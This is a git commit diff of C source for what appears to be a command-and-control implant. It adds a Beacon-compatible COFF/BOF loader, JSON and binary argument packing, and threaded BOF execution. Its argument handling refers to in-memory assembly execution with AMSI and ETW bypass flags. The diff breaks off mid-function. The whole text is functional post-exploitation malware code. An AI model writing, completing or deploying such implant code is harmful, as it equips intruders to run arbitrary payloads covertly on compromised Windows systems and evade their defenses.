assembly implemented

This commit is contained in:
marcos.luna
2025-12-15 18:04:20 +01:00
parent 3978a16fab
commit e45375cbd5
7 changed files with 1000 additions and 86 deletions
@@ -17,6 +17,39 @@ static char* beacon_output_buffer = NULL;
static int beacon_output_size = 0; static int beacon_output_size = 0;
static int beacon_output_offset = 0; static int beacon_output_offset = 0;
// Structure for BOF execution in separate thread
typedef struct _BOF_THREAD_ARGS {
char* bofBuffer;
DWORD bofSize;
char* args;
unsigned long argsSize;
volatile BOOL completed;
volatile BOOL success;
} BOF_THREAD_ARGS, *PBOF_THREAD_ARGS;
// Thread function to execute BOF
static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
PBOF_THREAD_ARGS threadArgs = (PBOF_THREAD_ARGS)lpParam;
if (!threadArgs) {
_err("[BOFExecutionThread] threadArgs es NULL");
return 1;
}
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
threadArgs->completed = FALSE;
threadArgs->success = FALSE;
// Execute BOF
DWORD fileSize = threadArgs->bofSize;
BOOL result = RunCOFF(threadArgs->bofBuffer, &fileSize, "go", threadArgs->args, threadArgs->argsSize);
threadArgs->success = result;
threadArgs->completed = TRUE;
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
return result ? 0 : 1;
}
// BeaconPrintf - Capture formatted output from BOFs // BeaconPrintf - Capture formatted output from BOFs
void BeaconPrintf(int type, char* fmt, ...) { void BeaconPrintf(int type, char* fmt, ...) {
va_list args; va_list args;
@@ -316,7 +349,17 @@ static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") || STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
STR_EQUALS(StrippedSymbolName, "toWideChar") || STR_EQUALS(StrippedSymbolName, "toWideChar") ||
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") || STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
STR_EQUALS(StrippedSymbolName, "FreeLibrary")) STR_EQUALS(StrippedSymbolName, "FreeLibrary") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataParse") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataExtract") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataInt") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataShort") ||
STR_EQUALS(StrippedSymbolName, "BeaconDataLength") ||
STR_EQUALS(StrippedSymbolName, "BeaconPrintf") ||
STR_EQUALS(StrippedSymbolName, "BeaconOutput") ||
STR_EQUALS(StrippedSymbolName, "BeaconUseToken") ||
STR_EQUALS(StrippedSymbolName, "BeaconRevertToken") ||
STR_EQUALS(StrippedSymbolName, "BeaconIsAdmin"))
{ {
return TRUE; return TRUE;
} }
@@ -331,23 +374,44 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
char localSymbolNameCopy[1024] = { 0 }; char localSymbolNameCopy[1024] = { 0 };
*InternalFunction = FALSE; *InternalFunction = FALSE;
char* locallib = NULL; char* locallib = NULL;
char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1; char* localfunc = NULL;
HMODULE llHandle = NULL; HMODULE llHandle = NULL;
char* context = NULL; char* context = NULL;
if (!SymbolName) {
_err("[ProcessBeaconSymbols] SymbolName es NULL");
return NULL;
}
// Check if symbol starts with PREPENDSYMBOLVALUE
SIZE_T prependLen = strlen(PREPENDSYMBOLVALUE);
if (strncmp(SymbolName, PREPENDSYMBOLVALUE, prependLen) != 0) {
// Try to resolve anyway (might be a direct symbol name)
localfunc = SymbolName;
} else {
localfunc = SymbolName + prependLen;
}
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1); strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
// Hash-based function resolution for internal functions // Hash-based function resolution for internal functions
// For now, we'll use direct function resolution // For now, we'll use direct function resolution
if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) { if (InternalFunctionMatch(localfunc)) {
*InternalFunction = TRUE; *InternalFunction = TRUE;
localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
UINT32 hash = custom_hash(localfunc); UINT32 hash = custom_hash(localfunc);
// Map common Beacon functions by hash // Map common Beacon functions by hash
UINT32 funcHash = hash; UINT32 funcHash = hash;
if (funcHash == custom_hash("BeaconDataParse")) { if (funcHash == custom_hash("BeaconDataParse")) {
return (void*)BeaconDataParse; return (void*)BeaconDataParse;
} else if (funcHash == custom_hash("BeaconDataExtract")) {
return (void*)BeaconDataExtract;
} else if (funcHash == custom_hash("BeaconDataInt")) {
return (void*)BeaconDataInt;
} else if (funcHash == custom_hash("BeaconDataShort")) {
return (void*)BeaconDataShort;
} else if (funcHash == custom_hash("BeaconDataLength")) {
return (void*)BeaconDataLength;
} else if (funcHash == custom_hash("BeaconPrintf")) { } else if (funcHash == custom_hash("BeaconPrintf")) {
return (void*)BeaconPrintf; return (void*)BeaconPrintf;
} else if (funcHash == custom_hash("BeaconOutput")) { } else if (funcHash == custom_hash("BeaconOutput")) {
@@ -366,18 +430,60 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
return (void*)BeaconRevertToken; return (void*)BeaconRevertToken;
} else if (funcHash == custom_hash("BeaconIsAdmin")) { } else if (funcHash == custom_hash("BeaconIsAdmin")) {
return (void*)BeaconIsAdmin; return (void*)BeaconIsAdmin;
} else {
_wrn("[ProcessBeaconSymbols] Símbolo interno no mapeado: '%s' (hash=0x%08x)", localfunc, funcHash);
} }
} else { } else {
// External symbol - parse library$function format // External symbol - parse library$function format
locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context); // Make a working copy for strtok_s (it modifies the string)
char workingCopy[1024] = { 0 };
SIZE_T copyLen = strlen(localfunc);
if (copyLen >= sizeof(workingCopy)) {
_err("[ProcessBeaconSymbols] Símbolo demasiado largo: %zu bytes", copyLen);
return NULL;
}
strncpy_s(workingCopy, sizeof(workingCopy), localfunc, copyLen);
// Parse library$function format
char* context1 = NULL;
locallib = strtok_s(workingCopy, "$", &context1);
if (locallib) { if (locallib) {
llHandle = LoadLibraryA(locallib); llHandle = LoadLibraryA(locallib);
localfunc = strtok_s(NULL, "$", &context); if (!llHandle) {
if (localfunc) { DWORD error = GetLastError();
localfunc = strtok_s(localfunc, "@", &context); _err("[ProcessBeaconSymbols] Error cargando librería '%s': %lu", locallib, error);
functionaddress = GetProcAddress(llHandle, localfunc); return NULL;
}
char* funcToken = strtok_s(NULL, "$", &context1);
if (funcToken) {
// Remove ordinal suffix if present (function@ordinal)
char* context2 = NULL;
char* funcName = strtok_s(funcToken, "@", &context2);
if (funcName) {
functionaddress = GetProcAddress(llHandle, funcName);
if (!functionaddress) {
DWORD error = GetLastError();
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcName, locallib, error);
}
} else {
// No @ found, use the whole token as function name
functionaddress = GetProcAddress(llHandle, funcToken);
if (!functionaddress) {
DWORD error = GetLastError();
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcToken, locallib, error);
} }
} }
} else {
_err("[ProcessBeaconSymbols] No se encontró función en formato library$function para '%s'", localfunc);
}
} else {
_wrn("[ProcessBeaconSymbols] No se pudo parsear formato library$function de '%s' (formato esperado: library$function)", localfunc);
}
}
if (!functionaddress) {
_wrn("[ProcessBeaconSymbols] No se pudo resolver símbolo '%s'", SymbolName);
} }
return functionaddress; return functionaddress;
@@ -394,10 +500,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
return FALSE; return FALSE;
} }
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) { for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) { if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value); foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
_dbg("[inline_execute] Entry point encontrado: 0x%p", foo); _inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
func, counter, foo, COFF->SymbolTable[counter].Value);
break; break;
} }
} }
@@ -408,7 +516,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
} }
// Execute the BOF // Execute the BOF
// Execute the BOF
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
// The BOF should handle its own errors gracefully
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
foo((char*)args, (UINT32)argSize); foo((char*)args, (UINT32)argSize);
_inf("[ExecuteEntry] Entry point '%s' completado", func);
return TRUE; return TRUE;
} }
@@ -512,9 +625,12 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
} }
else { else {
BOOL internalFunctionCheck = FALSE; BOOL internalFunctionCheck = FALSE;
funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck); char* symbolName = ((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset;
funcptrlocation = ProcessBeaconSymbols(symbolName, &internalFunctionCheck);
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) { if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
_wrn("[inline_execute] No se pudo resolver símbolo"); _wrn("[RunCOFF] No se pudo resolver símbolo '%s' (SectionNumber=%d)",
symbolName, COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber);
// Continue anyway - some symbols might be optional or resolved later
} }
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping); RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
@@ -523,8 +639,9 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
} }
// Execute the BOF // Execute the BOF
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) { if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
_err("[inline_execute] Error ejecutando entry point"); _err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
// Cleanup // Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
if (sectionMapped[i] != NULL) { if (sectionMapped[i] != NULL) {
@@ -535,6 +652,7 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
return FALSE; return FALSE;
} }
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
// Cleanup // Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
@@ -549,18 +667,326 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
} }
/* /*
* ParseBOFArguments - Parse BOF arguments from JSON string * HexStringToBytes - Convert hexadecimal string to bytes
* Returns packed arguments buffer and size * Returns allocated buffer with decoded bytes
*/ */
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) { static BOOL HexStringToBytes(PCHAR hexStr, SIZE_T hexLen, PBYTE* outBytes, SIZE_T* outLen) {
// For now, we'll pass the JSON string directly if (!hexStr || hexLen == 0 || hexLen % 2 != 0) {
// A full implementation would parse the JSON and pack arguments according to type
*outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
if (!*outBuffer) {
return FALSE; return FALSE;
} }
memcpy(*outBuffer, argsJson, argsJsonLen);
*outSize = argsJsonLen; SIZE_T byteLen = hexLen / 2;
*outBytes = (PBYTE)LocalAlloc(LPTR, byteLen);
if (!*outBytes) {
return FALSE;
}
for (SIZE_T i = 0; i < byteLen; i++) {
char hexByte[3] = {hexStr[i*2], hexStr[i*2+1], '\0'};
(*outBytes)[i] = (BYTE)strtoul(hexByte, NULL, 16);
}
*outLen = byteLen;
return TRUE;
}
/*
* ParseBOFArguments - Parse BOF arguments from JSON string and pack them in binary format
* Format expected by BOFs (BeaconDataParse compatible):
* - int16: 2 bytes (little-endian)
* - int32: 4 bytes (little-endian)
* - string: 4 bytes (length) + string data (null-terminated)
* - wchar: 4 bytes (length) + wide string data (null-terminated, 2 bytes per char)
* - base64: 4 bytes (length) + decoded base64 data
* - bytes: 4 bytes (length) + raw bytes (from hex string)
*
* JSON format: [["type", "value"], ["type", value], ...]
*/
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
// Simple JSON parser for BOF arguments format: [["type", "value"], ...]
// This is a minimal parser that handles the specific format we use
if (!argsJson || argsJsonLen == 0) {
*outBuffer = NULL;
*outSize = 0;
_inf("[ParseBOFArguments] No arguments provided");
return TRUE; // No arguments is valid
}
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
// Check for empty array []
PCHAR p = argsJson;
PCHAR end = argsJson + argsJsonLen;
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
if (p < end && *p == '[') {
p++;
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
if (p < end && *p == ']') {
// Empty array
*outBuffer = NULL;
*outSize = 0;
_inf("[ParseBOFArguments] Empty array, no arguments");
return TRUE;
}
}
// Allocate buffer (estimate: JSON is usually larger than binary, so start with same size)
SIZE_T bufferSize = argsJsonLen * 2; // Overestimate to be safe
PBYTE buffer = (PBYTE)LocalAlloc(LPTR, bufferSize);
if (!buffer) {
return FALSE;
}
SIZE_T offset = 0;
p = argsJson;
// Skip whitespace and opening bracket
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == '[')) p++;
// Parse arguments
while (p < end && *p != ']') {
// Skip whitespace and comma
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == ',' || *p == '[')) p++;
if (p >= end || *p == ']') break;
// Parse type: "type"
if (*p != '"') {
LocalFree(buffer);
return FALSE;
}
p++; // Skip opening quote
PCHAR typeStart = p;
while (p < end && *p != '"') p++;
if (p >= end) {
LocalFree(buffer);
return FALSE;
}
SIZE_T typeLen = p - typeStart;
p++; // Skip closing quote
// Skip comma/whitespace
while (p < end && (*p == ' ' || *p == '\t' || *p == ',')) p++;
// Parse value
PCHAR valueStart = NULL;
SIZE_T valueLen = 0;
BOOL isString = FALSE;
if (*p == '"') {
// String value
isString = TRUE;
p++; // Skip opening quote
valueStart = p;
while (p < end && *p != '"') p++;
if (p >= end) {
LocalFree(buffer);
return FALSE;
}
valueLen = p - valueStart;
p++; // Skip closing quote
} else if (*p == '-' || (*p >= '0' && *p <= '9')) {
// Numeric value
valueStart = p;
while (p < end && ((*p >= '0' && *p <= '9') || *p == '-' || *p == '.')) p++;
valueLen = p - valueStart;
} else if ((p + 4 <= end && strncmp(p, "true", 4) == 0) ||
(p + 5 <= end && strncmp(p, "false", 5) == 0)) {
// Boolean value (true/false without quotes)
valueStart = p;
if (strncmp(p, "true", 4) == 0) {
valueLen = 4;
p += 4;
} else {
valueLen = 5;
p += 5;
}
} else {
// Unexpected format
LocalFree(buffer);
return FALSE;
}
// Skip closing bracket and whitespace
while (p < end && (*p == ' ' || *p == '\t' || *p == ']' || *p == ',' || *p == ']')) {
if (*p == ']') break;
p++;
}
// Pack argument based on type
// Check if we need to reallocate buffer
SIZE_T needed = offset + 1024; // Estimate for worst case
if (needed > bufferSize) {
bufferSize = needed * 2;
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, bufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!newBuffer) {
LocalFree(buffer);
return FALSE;
}
buffer = newBuffer;
}
// Create temporary null-terminated strings for comparison
char typeBuf[32] = {0};
if (typeLen < sizeof(typeBuf) - 1) {
memcpy(typeBuf, typeStart, typeLen);
typeBuf[typeLen] = '\0';
}
if (strcmp(typeBuf, "int16") == 0) {
INT16 val = (INT16)atoi(valueStart);
if (offset + 2 > bufferSize) {
LocalFree(buffer);
return FALSE;
}
memcpy(buffer + offset, &val, 2);
offset += 2;
_inf("[ParseBOFArguments] Packed int16: %d", val);
} else if (strcmp(typeBuf, "int32") == 0) {
INT32 val = 0;
// Handle boolean values (true/false) and numeric values
// First check for unquoted boolean literals
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
val = 1;
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
val = 0;
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
} else {
val = (INT32)atoi(valueStart);
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
}
if (offset + 4 > bufferSize) {
LocalFree(buffer);
return FALSE;
}
memcpy(buffer + offset, &val, 4);
offset += 4;
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
} else if (strcmp(typeBuf, "string") == 0) {
if (offset + 4 + valueLen + 1 > bufferSize) {
LocalFree(buffer);
return FALSE;
}
UINT32 len = (UINT32)(valueLen + 1); // Include null terminator
memcpy(buffer + offset, &len, 4);
offset += 4;
memcpy(buffer + offset, valueStart, valueLen);
offset += valueLen;
buffer[offset++] = '\0';
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "wchar") == 0) {
// Convert to wide string (UTF-16)
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
if (offset + 4 + wcharLen > bufferSize) {
LocalFree(buffer);
return FALSE;
}
UINT32 len = (UINT32)wcharLen;
memcpy(buffer + offset, &len, 4);
offset += 4;
// Convert to wide chars
for (SIZE_T i = 0; i < valueLen; i++) {
WCHAR wc = (WCHAR)valueStart[i];
memcpy(buffer + offset, &wc, 2);
offset += 2;
}
WCHAR nullTerm = 0;
memcpy(buffer + offset, &nullTerm, 2);
offset += 2;
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
} else if (strcmp(typeBuf, "base64") == 0) {
// Decode base64
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
if (!b64Str) {
LocalFree(buffer);
return FALSE;
}
memcpy(b64Str, valueStart, valueLen);
b64Str[valueLen] = '\0';
PBYTE decoded = NULL;
SIZE_T decodedLen = 0;
if (!base64_decode(b64Str, &decoded, &decodedLen)) {
LocalFree(b64Str);
LocalFree(buffer);
return FALSE;
}
if (offset + 4 + decodedLen > bufferSize) {
SIZE_T newSize = bufferSize * 2;
while (newSize < offset + 4 + decodedLen) newSize *= 2;
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!newBuffer) {
LocalFree(b64Str);
LocalFree(decoded);
LocalFree(buffer);
return FALSE;
}
buffer = newBuffer;
bufferSize = newSize;
}
UINT32 len = (UINT32)decodedLen;
memcpy(buffer + offset, &len, 4);
offset += 4;
memcpy(buffer + offset, decoded, decodedLen);
offset += decodedLen;
LocalFree(b64Str);
LocalFree(decoded);
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
} else if (strcmp(typeBuf, "bytes") == 0) {
// Convert hex string to bytes
PBYTE bytes = NULL;
SIZE_T bytesLen = 0;
if (!HexStringToBytes(valueStart, valueLen, &bytes, &bytesLen)) {
LocalFree(buffer);
return FALSE;
}
if (offset + 4 + bytesLen > bufferSize) {
SIZE_T newSize = bufferSize * 2;
while (newSize < offset + 4 + bytesLen) newSize *= 2;
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!newBuffer) {
LocalFree(bytes);
LocalFree(buffer);
return FALSE;
}
buffer = newBuffer;
bufferSize = newSize;
}
UINT32 len = (UINT32)bytesLen;
memcpy(buffer + offset, &len, 4);
offset += 4;
memcpy(buffer + offset, bytes, bytesLen);
offset += bytesLen;
LocalFree(bytes);
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
} else {
// Unknown type - skip or error?
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
// Continue parsing other arguments
}
}
// Resize buffer to actual size
if (offset > 0) {
PBYTE finalBuffer = (PBYTE)LocalReAlloc(buffer, offset, LMEM_MOVEABLE);
if (finalBuffer) {
buffer = finalBuffer;
}
} else {
LocalFree(buffer);
buffer = NULL;
}
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
*outBuffer = buffer;
*outSize = offset;
return TRUE; return TRUE;
} }
@@ -588,11 +1014,11 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
return; return;
} }
// Read arguments (JSON string) // Read arguments (already serialized by translator, like Xenon)
SIZE_T argsLen = 0; SIZE_T argsLen = 0;
PCHAR argsJson = getString(argumentos, &argsLen); PBYTE argsBuffer = getBytes(argumentos, &argsLen);
_dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", _inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
36, taskUuid, (int)fileIdLen, fileId, argsLen); 36, taskUuid, (int)fileIdLen, fileId, argsLen);
// Create response package // Create response package
@@ -613,17 +1039,39 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
liberarPaquete(salida); liberarPaquete(salida);
liberarPaquete(respuesta); liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (argsBuffer) LocalFree(argsBuffer);
if (argumentos) liberarAnalizador(argumentos); if (argumentos) liberarAnalizador(argumentos);
return; return;
} }
// Parse BOF arguments // Prepare BOF arguments (like Xenon)
// The translator already serialized the arguments using Packer
// Packer.getbuffer() returns: [size:4 bytes LE][data] where size = data length
// The translator sends this as: [len:4 bytes BE][packed_buffer]
// We receive: packed_buffer = [size:4 bytes LE][data]
// BeaconDataParse expects: [total_size:4 bytes][data] where total_size includes the 4-byte header
// So we need to replace the first 4 bytes (size) with total_size
PBYTE bofArgs = NULL; PBYTE bofArgs = NULL;
SIZE_T bofArgsSize = 0; SIZE_T bofArgsSize = 0;
if (argsJson && argsLen > 0) { if (argsBuffer && argsLen > 0) {
if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) { _inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
_err("[inline_execute] Error parseando argumentos BOF");
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n"); // The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
// We just need to replace the first 4 bytes with the total size
bofArgs = argsBuffer; // Use the buffer directly
bofArgsSize = argsLen;
// Replace first 4 bytes with total size (including the 4-byte header)
UINT32 totalSize = (UINT32)bofArgsSize;
memcpy(bofArgs, &totalSize, 4);
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
} else {
_inf("[inline_execute] No hay argumentos");
bofArgs = NULL;
bofArgsSize = 0;
if (argsBuffer) {
LocalFree(argsBuffer);
argsBuffer = NULL;
} }
} }
@@ -639,58 +1087,168 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
// Execute the BOF // Execute the BOF
DWORD fileSize = (DWORD)bof.size; DWORD fileSize = (DWORD)bof.size;
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize); _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) { _inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
_err("[inline_execute] Error ejecutando BOF");
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n"); // Log argument structure for debugging (first 100 bytes)
if (bofArgs && bofArgsSize > 0) {
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
// Log only summary of arguments (reduced verbosity to prevent log blocking)
if (bofArgsSize >= 4) {
UINT32* ptr = (UINT32*)bofArgs;
SIZE_T offset = 4;
if (offset + 4 <= bofArgsSize) {
UINT32 bytesLen = ptr[1];
offset += 4 + bytesLen;
if (offset + 4 <= bofArgsSize) {
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
offset += 4 + wcharLen;
if (offset + 4 <= bofArgsSize) {
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
offset += 4;
if (offset + 4 <= bofArgsSize) {
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
}
}
}
}
}
}
}
}
// Execute the BOF in a separate thread to prevent agent blocking
// This allows the agent to continue even if the BOF hangs or crashes
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
bof.buffer, fileSize, bofArgs, bofArgsSize);
// Prepare thread arguments
BOF_THREAD_ARGS threadArgs = {0};
threadArgs.bofBuffer = (char*)bof.buffer;
threadArgs.bofSize = fileSize;
threadArgs.args = (char*)bofArgs;
threadArgs.argsSize = bofArgsSize;
threadArgs.completed = FALSE;
threadArgs.success = FALSE;
// Create thread to execute BOF
HANDLE hThread = CreateThread(NULL, 0, BOFExecutionThread, &threadArgs, 0, NULL);
if (!hThread) {
_err("[inline_execute] Error creando thread para ejecutar BOF (error: %lu)", GetLastError());
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo crear thread para ejecutar BOF\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (bof.buffer) LocalFree(bof.buffer);
if (bofArgs) LocalFree(bofArgs);
if (argumentos) liberarAnalizador(argumentos);
return;
}
// Wait for BOF execution with timeout (30 seconds)
DWORD timeoutMs = 30000; // 30 seconds
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
BOOL bofSuccess = FALSE;
if (waitResult == WAIT_OBJECT_0) {
// Thread completed
_inf("[inline_execute] Thread del BOF completó exitosamente");
bofSuccess = threadArgs.success;
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
threadArgs.success, threadArgs.completed);
} else if (waitResult == WAIT_TIMEOUT) {
// Thread timed out - BOF is hanging
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
_inf("[inline_execute] Intentando terminar thread colgado...");
// Try to terminate the thread (not ideal, but necessary to unblock agent)
if (TerminateThread(hThread, 1)) {
_inf("[inline_execute] Thread terminado exitosamente");
} else { } else {
_inf("[inline_execute] BOF ejecutado exitosamente, capturando output..."); _err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
}
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
bofSuccess = FALSE;
} else {
// Wait failed
_err("[inline_execute] Error esperando thread del BOF (waitResult=%lu, error: %lu)",
waitResult, GetLastError());
bofSuccess = FALSE;
}
CloseHandle(hThread);
// Always try to capture output, even if BOF returned FALSE
// The BOF might have produced output via BeaconPrintf before crashing
// Get output from Beacon compatibility layer // Get output from Beacon compatibility layer
int outdataSize = 0; int outdataSize = 0;
PCHAR outdata = BeaconGetOutputData(&outdataSize); PCHAR outdata = BeaconGetOutputData(&outdataSize);
_inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
if (outdata && outdataSize > 0) { if (outdata && outdataSize > 0) {
_inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
// Debug: log first 200 bytes of output
int logLen = (outdataSize > 200) ? 200 : outdataSize;
_inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
